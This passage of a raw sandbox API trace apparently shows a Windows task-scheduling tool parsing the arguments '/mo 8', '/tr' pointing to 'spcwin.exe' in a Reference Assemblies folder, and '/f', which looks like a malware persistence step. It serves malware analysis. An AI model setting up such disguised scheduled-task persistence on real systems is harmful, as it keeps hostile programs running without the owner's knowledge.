(HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eccd0 [0129.445] SetLastError (dwErrCode=0x0) [0129.445] SetLastError (dwErrCode=0x0) [0129.445] lstrlenW (lpString="/mo") returned 3 [0129.445] lstrlenW (lpString="-/") returned 2 [0129.445] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.445] lstrlenW (lpString="?") returned 1 [0129.445] lstrlenW (lpString="?") returned 1 [0129.445] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.445] lstrlenW (lpString="mo") returned 2 [0129.445] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.445] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.445] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.445] lstrlenW (lpString="|?|") returned 3 [0129.445] lstrlenW (lpString="|mo|") returned 4 [0129.445] SetLastError (dwErrCode=0x490) [0129.445] lstrlenW (lpString="create") returned 6 [0129.445] lstrlenW (lpString="create") returned 6 [0129.445] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.446] lstrlenW (lpString="mo") returned 2 [0129.446] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.446] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.446] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.446] lstrlenW (lpString="|create|") returned 8 [0129.446] lstrlenW (lpString="|mo|") returned 4 [0129.446] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0129.446] SetLastError (dwErrCode=0x490) [0129.446] lstrlenW (lpString="delete") returned 6 [0129.446] lstrlenW (lpString="delete") returned 6 [0129.446] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.446] lstrlenW (lpString="mo") returned 2 [0129.446] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.446] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|delete|") returned 8 [0129.446] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.446] lstrlenW (lpString="|delete|") returned 8 [0129.446] lstrlenW (lpString="|mo|") returned 4 [0129.446] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0129.446] SetLastError (dwErrCode=0x490) [0129.446] lstrlenW (lpString="query") returned 5 [0129.446] lstrlenW (lpString="query") returned 5 [0129.446] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.446] lstrlenW (lpString="mo") returned 2 [0129.446] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.447] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|query|") returned 7 [0129.447] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.447] lstrlenW (lpString="|query|") returned 7 [0129.447] lstrlenW (lpString="|mo|") returned 4 [0129.447] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0129.447] SetLastError (dwErrCode=0x490) [0129.447] lstrlenW (lpString="change") returned 6 [0129.447] lstrlenW (lpString="change") returned 6 [0129.447] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.447] lstrlenW (lpString="mo") returned 2 [0129.447] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.447] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|change|") returned 8 [0129.447] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.447] lstrlenW (lpString="|change|") returned 8 [0129.447] lstrlenW (lpString="|mo|") returned 4 [0129.447] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0129.447] SetLastError (dwErrCode=0x490) [0129.447] lstrlenW (lpString="run") returned 3 [0129.447] lstrlenW (lpString="run") returned 3 [0129.447] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.447] lstrlenW (lpString="mo") returned 2 [0129.447] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.447] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|run|") returned 5 [0129.447] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.447] lstrlenW (lpString="|run|") returned 5 [0129.448] lstrlenW (lpString="|mo|") returned 4 [0129.448] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0129.448] SetLastError (dwErrCode=0x490) [0129.448] lstrlenW (lpString="end") returned 3 [0129.448] lstrlenW (lpString="end") returned 3 [0129.448] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.448] lstrlenW (lpString="mo") returned 2 [0129.448] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.448] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|end|") returned 5 [0129.448] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.448] lstrlenW (lpString="|end|") returned 5 [0129.448] lstrlenW (lpString="|mo|") returned 4 [0129.448] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0129.448] SetLastError (dwErrCode=0x490) [0129.448] lstrlenW (lpString="showsid") returned 7 [0129.448] lstrlenW (lpString="showsid") returned 7 [0129.448] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.448] lstrlenW (lpString="mo") returned 2 [0129.448] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.448] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|showsid|") returned 9 [0129.448] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|mo|") returned 4 [0129.448] lstrlenW (lpString="|showsid|") returned 9 [0129.448] lstrlenW (lpString="|mo|") returned 4 [0129.448] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0129.448] SetLastError (dwErrCode=0x490) [0129.448] SetLastError (dwErrCode=0x490) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="/mo") returned 3 [0129.449] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0129.449] SetLastError (dwErrCode=0x490) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="/mo") returned 3 [0129.449] GetProcessHeap () returned 0x1d0000 [0129.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec320 [0129.449] GetProcessHeap () returned 0x1d0000 [0129.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd00 [0129.449] SetLastError (dwErrCode=0x0) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="8") returned 1 [0129.449] SetLastError (dwErrCode=0x490) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="8") returned 1 [0129.449] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0129.449] SetLastError (dwErrCode=0x490) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="8") returned 1 [0129.449] GetProcessHeap () returned 0x1d0000 [0129.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x4) returned 0x1ec340 [0129.449] GetProcessHeap () returned 0x1d0000 [0129.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd30 [0129.449] SetLastError (dwErrCode=0x0) [0129.449] SetLastError (dwErrCode=0x0) [0129.449] lstrlenW (lpString="/tr") returned 3 [0129.449] lstrlenW (lpString="-/") returned 2 [0129.449] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.450] lstrlenW (lpString="?") returned 1 [0129.450] lstrlenW (lpString="?") returned 1 [0129.450] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.450] lstrlenW (lpString="tr") returned 2 [0129.450] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.450] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.450] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.450] lstrlenW (lpString="|?|") returned 3 [0129.450] lstrlenW (lpString="|tr|") returned 4 [0129.450] SetLastError (dwErrCode=0x490) [0129.450] lstrlenW (lpString="create") returned 6 [0129.450] lstrlenW (lpString="create") returned 6 [0129.450] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.450] lstrlenW (lpString="tr") returned 2 [0129.450] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.450] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.450] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.450] lstrlenW (lpString="|create|") returned 8 [0129.450] lstrlenW (lpString="|tr|") returned 4 [0129.450] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.450] SetLastError (dwErrCode=0x490) [0129.450] lstrlenW (lpString="delete") returned 6 [0129.450] lstrlenW (lpString="delete") returned 6 [0129.450] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.450] lstrlenW (lpString="tr") returned 2 [0129.450] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|delete|") returned 8 [0129.451] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.451] lstrlenW (lpString="|delete|") returned 8 [0129.451] lstrlenW (lpString="|tr|") returned 4 [0129.451] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0129.451] SetLastError (dwErrCode=0x490) [0129.451] lstrlenW (lpString="query") returned 5 [0129.451] lstrlenW (lpString="query") returned 5 [0129.451] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.451] lstrlenW (lpString="tr") returned 2 [0129.451] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|query|") returned 7 [0129.451] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.451] lstrlenW (lpString="|query|") returned 7 [0129.451] lstrlenW (lpString="|tr|") returned 4 [0129.451] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0129.451] SetLastError (dwErrCode=0x490) [0129.451] lstrlenW (lpString="change") returned 6 [0129.451] lstrlenW (lpString="change") returned 6 [0129.451] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.451] lstrlenW (lpString="tr") returned 2 [0129.451] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.451] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|change|") returned 8 [0129.451] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.451] lstrlenW (lpString="|change|") returned 8 [0129.451] lstrlenW (lpString="|tr|") returned 4 [0129.452] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0129.452] SetLastError (dwErrCode=0x490) [0129.452] lstrlenW (lpString="run") returned 3 [0129.452] lstrlenW (lpString="run") returned 3 [0129.452] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.452] lstrlenW (lpString="tr") returned 2 [0129.452] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.452] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|run|") returned 5 [0129.452] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.452] lstrlenW (lpString="|run|") returned 5 [0129.452] lstrlenW (lpString="|tr|") returned 4 [0129.452] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0129.452] SetLastError (dwErrCode=0x490) [0129.452] lstrlenW (lpString="end") returned 3 [0129.452] lstrlenW (lpString="end") returned 3 [0129.452] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.452] lstrlenW (lpString="tr") returned 2 [0129.452] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.452] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|end|") returned 5 [0129.452] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.452] lstrlenW (lpString="|end|") returned 5 [0129.452] lstrlenW (lpString="|tr|") returned 4 [0129.452] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0129.452] SetLastError (dwErrCode=0x490) [0129.452] lstrlenW (lpString="showsid") returned 7 [0129.452] lstrlenW (lpString="showsid") returned 7 [0129.453] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.453] lstrlenW (lpString="tr") returned 2 [0129.453] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.453] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|showsid|") returned 9 [0129.453] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tr|") returned 4 [0129.453] lstrlenW (lpString="|showsid|") returned 9 [0129.453] lstrlenW (lpString="|tr|") returned 4 [0129.453] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0129.453] SetLastError (dwErrCode=0x490) [0129.453] SetLastError (dwErrCode=0x490) [0129.453] SetLastError (dwErrCode=0x0) [0129.453] lstrlenW (lpString="/tr") returned 3 [0129.453] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0129.453] SetLastError (dwErrCode=0x490) [0129.453] SetLastError (dwErrCode=0x0) [0129.453] lstrlenW (lpString="/tr") returned 3 [0129.453] GetProcessHeap () returned 0x1d0000 [0129.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec360 [0129.453] GetProcessHeap () returned 0x1d0000 [0129.453] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd60 [0129.453] SetLastError (dwErrCode=0x0) [0129.453] SetLastError (dwErrCode=0x0) [0129.453] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.453] lstrlenW (lpString="-/") returned 2 [0129.453] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.454] SetLastError (dwErrCode=0x490) [0129.454] SetLastError (dwErrCode=0x490) [0129.454] SetLastError (dwErrCode=0x0) [0129.454] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.454] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0129.454] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.454] GetProcessHeap () returned 0x1d0000 [0129.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec380 [0129.454] _memicmp (_Buf1=0x1ec380, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.454] GetProcessHeap () returned 0x1d0000 [0129.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ec3a0 [0129.454] GetProcessHeap () returned 0x1d0000 [0129.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed530 [0129.454] _memicmp (_Buf1=0x1ed530, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.454] GetProcessHeap () returned 0x1d0000 [0129.454] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xb0) returned 0x1edd00 [0129.454] SetLastError (dwErrCode=0x7a) [0129.454] SetLastError (dwErrCode=0x0) [0129.454] SetLastError (dwErrCode=0x0) [0129.454] lstrlenW (lpString="'C") returned 2 [0129.454] lstrlenW (lpString="-/") returned 2 [0129.454] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.454] SetLastError (dwErrCode=0x490) [0129.454] SetLastError (dwErrCode=0x490) [0129.454] SetLastError (dwErrCode=0x0) [0129.454] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.454] GetProcessHeap () returned 0x1d0000 [0129.455] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xae) returned 0x1eddc0 [0129.455] GetProcessHeap () returned 0x1d0000 [0129.455] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd90 [0129.455] SetLastError (dwErrCode=0x0) [0129.455] SetLastError (dwErrCode=0x0) [0129.455] lstrlenW (lpString="/f") returned 2 [0129.455] lstrlenW (lpString="-/") returned 2 [0129.455] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.455] lstrlenW (lpString="?") returned 1 [0129.455] lstrlenW (lpString="?") returned 1 [0129.455] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.455] lstrlenW (lpString="f") returned 1 [0129.455] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.455] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.455] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.455] lstrlenW (lpString="|?|") returned 3 [0129.455] lstrlenW (lpString="|f|") returned 3 [0129.455] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.455] SetLastError (dwErrCode=0x490) [0129.455] lstrlenW (lpString="create") returned 6 [0129.455] lstrlenW (lpString="create") returned 6 [0129.455] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.455] lstrlenW (lpString="f") returned 1 [0129.455] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.455] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.456] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.456] lstrlenW (lpString="|create|") returned 8 [0129.456] lstrlenW (lpString="|f|") returned 3 [0129.456] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.456] SetLastError (dwErrCode=0x490) [0129.456] lstrlenW (lpString="delete") returned 6 [0129.456] lstrlenW (lpString="delete") returned 6 [0129.456] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.456] lstrlenW (lpString="f") returned 1 [0129.456] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.456] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|delete|") returned 8 [0129.456] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.456] lstrlenW (lpString="|delete|") returned 8 [0129.456] lstrlenW (lpString="|f|") returned 3 [0129.456] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0129.456] SetLastError (dwErrCode=0x490) [0129.456] lstrlenW (lpString="query") returned 5 [0129.456] lstrlenW (lpString="query") returned 5 [0129.456] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.456] lstrlenW (lpString="f") returned 1 [0129.456] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.456] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|query|") returned 7 [0129.456] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.456] lstrlenW (lpString="|query|") returned 7 [0129.457] lstrlenW (lpString="|f|") returned 3 [0129.457] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0129.457] SetLastError (dwErrCode=0x490) [0129.458] lstrlenW (lpString="change") returned 6 [0129.458] lstrlenW (lpString="change") returned 6 [0129.458] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.458] lstrlenW (lpString="f") returned 1 [0129.458] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.458] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|change|") returned 8 [0129.458] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.458] lstrlenW (lpString="|change|") returned 8 [0129.458] lstrlenW (lpString="|f|") returned 3 [0129.458] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0129.458] SetLastError (dwErrCode=0x490) [0129.458] lstrlenW (lpString="run") returned 3 [0129.458] lstrlenW (lpString="run") returned 3 [0129.458] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.458] lstrlenW (lpString="f") returned 1 [0129.458] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.458] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|run|") returned 5 [0129.458] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.458] lstrlenW (lpString="|run|") returned 5 [0129.458] lstrlenW (lpString="|f|") returned 3 [0129.458] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0129.458] SetLastError (dwErrCode=0x490) [0129.458] lstrlenW (lpString="end") returned 3 [0129.458] lstrlenW (lpString="end") returned 3 [0129.458] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.459] lstrlenW (lpString="f") returned 1 [0129.459] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.459] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|end|") returned 5 [0129.459] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.459] lstrlenW (lpString="|end|") returned 5 [0129.459] lstrlenW (lpString="|f|") returned 3 [0129.459] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0129.459] SetLastError (dwErrCode=0x490) [0129.459] lstrlenW (lpString="showsid") returned 7 [0129.459] lstrlenW (lpString="showsid") returned 7 [0129.459] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.459] lstrlenW (lpString="f") returned 1 [0129.459] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.459] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|showsid|") returned 9 [0129.459] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|f|") returned 3 [0129.459] lstrlenW (lpString="|showsid|") returned 9 [0129.459] lstrlenW (lpString="|f|") returned 3 [0129.459] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0129.459] SetLastError (dwErrCode=0x490) [0129.459] SetLastError (dwErrCode=0x490) [0129.459] SetLastError (dwErrCode=0x0) [0129.459] lstrlenW (lpString="/f") returned 2 [0129.459] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0129.459] SetLastError (dwErrCode=0x490) [0129.459] SetLastError (dwErrCode=0x0) [0129.459] lstrlenW (lpString="/f") returned 2 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x6) returned 0x1ede80 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecdc0 [0129.460] SetLastError (dwErrCode=0x0) [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec230) returned 1 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec230) returned 0x8 [0129.460] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec230 | out: hHeap=0x1d0000) returned 1 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc40) returned 1 [0129.460] GetProcessHeap () returned 0x1d0000 [0129.460] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecc40) returned 0x20 [0129.461] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecc40 | out: hHeap=0x1d0000) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2c0) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec2c0) returned 0x10 [0129.461] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec2c0 | out: hHeap=0x1d0000) returned 1 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] GetProcessHeap () returned 0x1d0000 [0129.461] HeapValidate (hHeap=0x1d0000, 